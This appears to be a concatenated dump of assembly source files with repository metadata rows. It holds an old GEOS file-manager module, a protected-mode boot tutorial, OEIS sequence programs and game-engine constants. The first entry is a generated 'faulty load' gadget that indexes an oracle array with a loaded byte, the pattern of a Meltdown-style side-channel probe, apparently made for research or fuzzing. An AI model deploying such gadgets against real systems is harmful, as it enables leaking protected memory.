push %r11
push %r12
push %r9
push %rbx
push %rcx
// Faulty Load
lea addresses_WC+0x1b43d, %r9
nop
nop
sub %r12, %r12
mov (%r9), %ebx
lea oracles, %r11
and $0xff, %rbx
shlq $12, %rbx
mov (%r11,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 40.66443 | 2,999 | 0.655719 |
c2d1c2b49c7b15f7b431e6a31e32ea3784f6408f | 6,264 | asm | Assembly | Appl/FileMgrs2/CommonDesktop/CDeskDisplay/cdeskdisplayDriveLetter.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/FileMgrs2/CommonDesktop/CDeskDisplay/cdeskdisplayDriveLetter.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/FileMgrs2/CommonDesktop/CDeskDisplay/cdeskdisplayDriveLetter.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: deskdisplayDriveLetter.asm
AUTHOR: Adam de Boor, Jan 30, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1/30/92 Initial revision
DESCRIPTION:
Implementation of DriveLetterClass
$Id: cdeskdisplayDriveLetter.asm,v 1.1 97/04/04 15:02:48 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PseudoResident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DriveLetterSetDrive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set drive letter for this drive letter
CALLED BY: MSG_DRIVE_LETTER_SET_DRIVE
PASS: usual object stuff
bp - drive letter
cx - TRUE to set mnemonic
FALSE (0) to not set mnemonic
RETURN: ax = GenItem identifier
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 12/28/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DriveLetterSetDrive method dynamic DriveLetterClass,
MSG_DRIVE_LETTER_SET_DRIVE
mov ax, bp ; al = drive number
call DriveGetDefaultMedia ; ah = media
mov ds:[di].GII_identifier, ax ; store drive/media for list
; to send out
mov si, ds:[di].GI_visMoniker
mov di, ds:[si]
EC < ; must be a text moniker >
EC < CheckHack <DC_TEXT eq 0> >
EC < test ds:[di].VM_type, mask VMT_MONIKER_LIST or \
mask VMT_GSTRING >
EC < ERROR_NZ DESKTOP_FATAL_ERROR >
EC < ; must currently be just a colon >
EC < cmp {word}ds:[di].VM_data.VMT_text[0], ':' >
EC < ERROR_NE DESKTOP_FATAL_ERROR >
;
; If told to set mnemonic, set it to the first letter of the name.
; XXX: assumes drives are unique in their first letters
;
jcxz mnemonicDone
mov ds:[di].VM_data.VMT_mnemonicOffset, 0
mnemonicDone:
;
; as we are going to change the moniker manually, clear out the
; optimized cached width - brianc 3/9/93
;
mov ds:[di].VM_width, 0
;
; Figure the number of bytes in the drive's name, excluding the null.
;
clr cx
call DriveGetName
;EC < tst cx >
;EC < ERROR_Z DRIVE_TOOL_BOUND_TO_INVALID_DRIVE >
jcxz exit ;If the drive is going away, just exit
dec cx ; don't need null, as it's already
; there
DBCS < dec cx >
;
; Insert that many bytes before the colon.
;
mov bx, offset VM_data.VMT_text
xchg ax, si
call LMemInsertAt
;
; Fetch the name of the drive itself from the kernel. We pass the
; reduced count in CX so it doesn't overwrite the colon already there...
;
xchg ax, si
add bx, ds:[si]
mov di, bx
segmov es, ds ; es <- VM_data.VMT_text
call DriveGetName
exit:
ret
DriveLetterSetDrive endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DriveLetterGetDrive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get drive letter for this drive letter
CALLED BY: MSG_DRIVE_LETTER_GET_DRIVE
PASS: usual object stuff
RETURN: bp - drive number
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 12/29/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DriveLetterGetDrive method dynamic DriveLetterClass,
MSG_DRIVE_LETTER_GET_DRIVE
mov ax, ds:[di].GII_identifier ; al = drive, ah = media
clr ah
mov bp, ax ; bp = drive number
ret
DriveLetterGetDrive endm
;
; DriveListClass
;
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DriveListGetDriveOptr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: find drive's optr
CALLED BY: MSG_DRIVE_LIST_GET_DRIVE_OPTR
PASS: *ds:si = class object
ds:di = class instance data
es = segment of class
ax = message #
cl = drive #
RETURN: ^lcx:dx = drive optr (or null)
ALLOWED TO DESTROY:
ax, cx, dx, bp
bx, si, di, ds, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 6/15/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DriveListGetDriveOptr method dynamic DriveListClass,
MSG_DRIVE_LIST_GET_DRIVE_OPTR
mov al, cl ;keep drive # in al
clr cx ;start with null OD in ^lcx:dx
mov dx, cx
push cx ;start with initial child
push cx
mov di, offset GI_link
push di ;push offset to LinkPart
mov bx, SEGMENT_CS ;push call-back routine
push bx
mov bx, offset FindChildIdentifier
push bx
mov bx, offset Gen_offset ; Use the generic linkage
mov di, offset GI_comp
call ObjCompProcessChildren ; Go process the children
;(DO NOT use GOTO!)
ret
DriveListGetDriveOptr endm
COMMENT @----------------------------------------------------------------------
FUNCTION: FindChildIdentifier
DESCRIPTION: Callback routine to find child with given identifier
CALLED BY: GLOBAL
PASS:
*ds:si - child
*es:di - composite
cx:dx - should be null coming in
al - identifier to search for
RETURN:
cx:dx - optr if found, still zero if not
DESTROYED:
bx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
FindChildIdentifier proc far
class GenItemClass
mov bx, ds:[si]
add bx, ds:[bx].Gen_offset
cmp al, ds:[bx].GII_identifier.low ; low byte is drive #
clc
jne exit ;skip if does not match...
;found: ;return carry set, indicating that we found the item
mov cx, ds:[LMBH_handle]
mov dx, si
stc
exit:
ret
FindChildIdentifier endp
PseudoResident ends
| 23.637736 | 80 | 0.562101 |
a043580af22daac3c74d9a6243200737eb680547 | 1,894 | asm | Assembly | protect_mod/pm1.asm | tor4z/os_sel | b384d371012fd133d2f988335130c1710f90e4ad | [
"Unlicense"
] | null | null | null | protect_mod/pm1.asm | tor4z/os_sel | b384d371012fd133d2f988335130c1710f90e4ad | [
"Unlicense"
] | null | null | null | protect_mod/pm1.asm | tor4z/os_sel | b384d371012fd133d2f988335130c1710f90e4ad | [
"Unlicense"
] | null | null | null | ;;;==================================
;;; pm1.asm
;;; nasm pm1.asm -0 pm1.o
;;;=================================
%include "pm.inc" ; Include pm
org 0100h
jmp LABEL_BEGIN
[SECTION .gdt]
LABEL_GDT:
;; Base Limit Attribute
Descriptor 0, 0, 0 ; NULL description
LABEL_DESC_CODE32:
Descriptor 0, SegCode32Len - 1, DA_C + DA_32
LABEL_DESC_VIDEO:
Descriptor 0b8000h, 0ffffh, DA_DRW ; Video memory address
GdtLen equ $ - LABEL_GDT ; Lenght of GDT
GdtPtr dw GdtLen - 1 ; GDT Limit
dd 0 ; GDT Base, to be fill
;; GDT Selector
SelectorCode32 equ LABEL_DESC_CODE32 - LABEL_GDT
SelectorVideo equ LABEL_DESC_VIDEO - LABEL_GDT
;; End of [SECTION .gdt]
[SECTION .s16]
[BITS 16]
LABEL_BEGIN:
;; Reload data segment register
mov ax, cs
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0100h
;; Initialize 32-bit segment description
xor eax, eax
mov ax, cs
shl eax, 4
add eax, LABEL_SEG_CODE32
mov word [LABEL_DESC_CODE32 + 2], ax
shr eax, 16
mov byte [LABEL_DESC_CODE32 + 4], al
mov byte [LABEL_DESC_CODE32 + 7], ah
;; Prepare to load GDTR
xor eax, eax
mov ax, ds
shl eax, 4
add eax, LABEL_GDT ; Add GDT base to EAX, segment * 16 + offset
mov dword [GdtPtr + 2], eax ; Set GDT Base to [GdtPr + 2]
lgdt [GdtPtr] ; Load GDTR
cli ; Close interrupt
;; Enable A20
in al, 92h
or al, 00000010b
out 92h, al
;; Prepare to Switch to protected mode
mov eax, cr0
or eax, 1
mov cr0, eax
;; Switch to protected mode
jmp dword SelectorCode32:0
;; End of [SECTION .s16]
[SECTION .s32]
[BITS 32]
LABEL_SEG_CODE32:
mov ax, SelectorVideo
mov gs, ax ; Set Video Selector as destination segment
mov edi, (80 * 11 + 79) * 2 ; line 11 and row 79 in the screen
mov ah, 0ch ; 0000:black background, 1100:red font color
mov al, 'P'
mov [gs:edi], ax
jmp $
SegCode32Len equ $ - LABEL_SEG_CODE32
;; End of [SECTION .s32]
| 20.813187 | 64 | 0.646251 |
bf68724adb80ea5707fb4b631100716c77a3cf42 | 402 | asm | Assembly | programs/oeis/054/A054008.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/054/A054008.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/054/A054008.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A054008: n read modulo (number of divisors of n).
; 0,0,1,1,1,2,1,0,0,2,1,0,1,2,3,1,1,0,1,2,1,2,1,0,1,2,3,4,1,6,1,2,1,2,3,0,1,2,3,0,1,2,1,2,3,2,1,8,1,2,3,4,1,6,3,0,1,2,1,0,1,2,3,1,1,2,1,2,1,6,1,0,1,2,3,4,1,6,1,0,1,2,1,0,1,2,3,0,1,6,3,2,1,2,3,0,1,2,3,1
mov $1,$0
add $0,1
seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mod $0,$1
add $0,9
mul $0,2
sub $0,18
div $0,2
| 33.5 | 201 | 0.562189 |
9f608c2d8099667c11cb0e6b51f71c37f753389c | 1,507 | asm | Assembly | engine/playfieldRenderer/main.asm | laoo/TimePilot | 88b2548ab23d213677047ca530b68f9523ea7140 | [
"MIT"
] | 24 | 2018-05-17T05:55:38.000Z | 2021-12-30T10:22:45.000Z | engine/playfieldRenderer/main.asm | laoo/TimePilot | 88b2548ab23d213677047ca530b68f9523ea7140 | [
"MIT"
] | 1 | 2018-06-27T11:08:01.000Z | 2018-06-27T11:08:01.000Z | engine/playfieldRenderer/main.asm | laoo/TimePilot | 88b2548ab23d213677047ca530b68f9523ea7140 | [
"MIT"
] | 3 | 2018-05-19T03:47:19.000Z | 2021-06-01T12:33:32.000Z |
prScreenWidth = 160
prScreenHeight = 96
prScreenWidthFonts = prScreenWidth/4
prScreenHeightFonts = prScreenHeight/8
;virtual screen coordinates
prScreenXMin = 128-(prScreenWidth/2)
prScreenXMax = 128+(prScreenWidth/2)
prScreenYMin = 128-(prScreenHeight/2)
prScreenYMax = 128+(prScreenHeight/2)
; object box size for fadeOut
fadeOutWidth equ 16 ; after this amount of pixels object will start to fade out off screen
fadeOutHeight equ 16 ; after this amount of pixels object will start to fade out off screen
rliTemp equ zeroPageLocal
rliMask equ rliTemp+0
bufRLIDsL equ rliTemp+2 ;render list destination low
bufRLIDsH equ rliTemp+3 ;render list destination high
bufRLISrL equ rliTemp+4 ;render list source low
bufRLISrH equ rliTemp+5 ;render list source high
bufRLIDof equ rliTemp+6 ;render list destination offset
bufRLILen equ rliTemp+7 ;render list length (same as offset)
bufRLIMsk equ rliTemp+8 ;render list mask offset from dest
bufRLIVal equ rliTemp+9 ;render list destination value
prTemp equ zeroPageLocal+7 ;this is madness!
;graphics objects ids | max 64 objects (0-63)
.enum prGfxObj
enemy = 0 ;16 entries
explosion = 16 ;4 entries
parachute = 20 ;5 entries
boss = 25 ;2 entries
cloud1 = 27 ;1 entry
cloud2 = 28 ;1 entry
cloud3 = 29 ;1 entry
bomb = 30 ;2 entries
rocket = 32 ;16 entries
.ende
fontsReservedForPlayerLocation equ 256-8
icl 'preinit.asm'
icl 'preparePhase.asm'
icl 'draw.asm'
icl 'render.asm'
| 27.4 | 92 | 0.745189 |
3d29dd6d6888b0ffd9ea3410351fd3b62cee0fca | 94 | asm | Assembly | exit32.asm | scottmalkie/programming_from_the_ground_up | cbed22e604cbfb9ccf71bd14556f6fd948778c44 | [
"MIT"
] | null | null | null | exit32.asm | scottmalkie/programming_from_the_ground_up | cbed22e604cbfb9ccf71bd14556f6fd948778c44 | [
"MIT"
] | null | null | null | exit32.asm | scottmalkie/programming_from_the_ground_up | cbed22e604cbfb9ccf71bd14556f6fd948778c44 | [
"MIT"
] | null | null | null | section .data
section .text
global _start
_start:
mov eax, 0x1
mov ebx, 0x3c
int 0x80
| 9.4 | 15 | 0.702128 |
bcfc236fdf71d4831c4a72b66f82c15a9ecb8d21 | 480 | asm | Assembly | programs/oeis/099/A099301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/099/A099301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/099/A099301.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A099301: Arithmetic derivative of d(n), the number of divisors of n.
; 0,1,1,1,1,4,1,4,1,4,1,5,1,4,4,1,1,5,1,5,4,4,1,12,1,4,4,5,1,12,1,5,4,4,4,6,1,4,4,12,1,12,1,5,5,4,1,7,1,5,4,5,1,12,4,12,4,4,1,16,1,4,5,1,4,12,1,5,4,12,1,16,1,4,5,5,4,12,1,7,1,4,1,16,4,4,4,12,1,16,4,5,4,4,4,16,1,5,5,6
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
| 80 | 216 | 0.575 |
3b4bdc0337d73a1b489ae6f2fb152d15c377e2cd | 397 | asm | Assembly | programs/oeis/165/A165145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/165/A165145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/165/A165145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A165145: Partial sums of A058183.
; 1,3,6,10,15,21,28,36,45,56,69,84,101,120,141,164,189,216,245,276,309,344,381,420,461,504,549,596,645,696,749,804,861,920,981,1044,1109,1176,1245,1316,1389,1464,1541,1620,1701,1784,1869,1956,2045,2136,2229,2324,2421
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
sub $0,7
max $0,1
add $3,$0
add $1,$3
lpe
mov $0,$1
| 22.055556 | 216 | 0.644836 |
28e51340c41d482d57a38d209a1690438fffa006 | 252 | asm | Assembly | libsrc/stdio/ansi/sprinter/f_ansi_bel.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/stdio/ansi/sprinter/f_ansi_bel.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/stdio/ansi/sprinter/f_ansi_bel.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Spectrum C Library
;
; ANSI Video handling for Sprinter
;
; BEL - chr(7) Beep it out
;
;
; Stefano Bodrato - Apr. 2000
;
;
; $Id: f_ansi_bel.asm,v 1.3 2016-06-12 16:06:43 dom Exp $
;
SECTION code_clib
PUBLIC ansi_BEL
.ansi_BEL
ret
| 12 | 57 | 0.634921 |
5d228b160848877dd300ff570fa0d6da315d2bf0 | 600 | asm | Assembly | oeis/081/A081657.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081657.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081657.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081657: 2*7^n-3^n.
; Submitted by Jamie Morken(s1)
; 1,11,89,659,4721,33371,234569,1644899,11523041,80687531,564891449,3954476339,27682042961,193776426491,1356441362729,9495108670979,66465818092481,465260898834251,3256826808400409,22797789208484819,159584529108439601,1117091717706214811,7819642065784916489,54737494586018653859,383162462478703292321,2682137238480641192171,18774960672753642782969,131424724719442962794099,919973073066603129498641,6439811511557729076310331,45078680581178625043631849,315550764069073939833801539
mov $2,3
pow $2,$0
mov $3,7
pow $3,$0
mul $3,2
sub $3,$2
mov $0,$3
| 50 | 477 | 0.858333 |
d2b001d0335b18af623e79db5fef4db8bba8be65 | 145 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_save.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_save.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_save.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_save.asm
Type: file
Size: 11715
Last-Modified: '2016-05-13T04:51:15Z'
SHA-1: 5F09E4E79314502C6D52189ED5A145D5575BEAA6
Description: null
| 20.714286 | 47 | 0.813793 |
cfc71a31f6782fe27460bbbe4336f9ffccdec48b | 605 | asm | Assembly | oeis/315/A315726.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/315/A315726.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/315/A315726.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A315726: Coordination sequence Gal.6.252.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Simon Strandgaard
; 1,6,12,18,22,26,30,34,40,46,52,58,64,70,74,78,82,86,92,98,104,110,116,122,126,130,134,138,144,150,156,162,168,174,178,182,186,190,196,202,208,214,220,226,230,234,238,242,248,254
mov $2,$0
mov $4,$0
lpb $0
add $1,1
trn $2,3
sub $0,$2
sub $0,1
add $1,1
trn $2,4
add $0,$2
trn $2,3
mov $3,1
lpe
add $2,$3
sub $1,$2
add $1,3
lpb $4
add $1,4
sub $4,1
lpe
sub $1,2
mov $0,$1
| 22.407407 | 179 | 0.659504 |
11f45d24d5da7f1448c9320b77617f015ed344d0 | 253 | asm | Assembly | data/mapHeaders/route12house.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapHeaders/route12house.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapHeaders/route12house.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | Route12House_h:
db HOUSE ; tileset
db ROUTE_12_HOUSE_HEIGHT, ROUTE_12_HOUSE_WIDTH ; dimensions (y, x)
dw Route12HouseBlocks, Route12HouseTextPointers, Route12HouseScript ; blocks, texts, scripts
db $00 ; connections
dw Route12HouseObject ; objects
| 36.142857 | 93 | 0.810277 |
0b9609a941ee239cbdd118f1c45cec281162e77d | 483 | asm | Assembly | programs/oeis/040/A040302.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/040/A040302.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/040/A040302.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A040302: Continued fraction for sqrt(320).
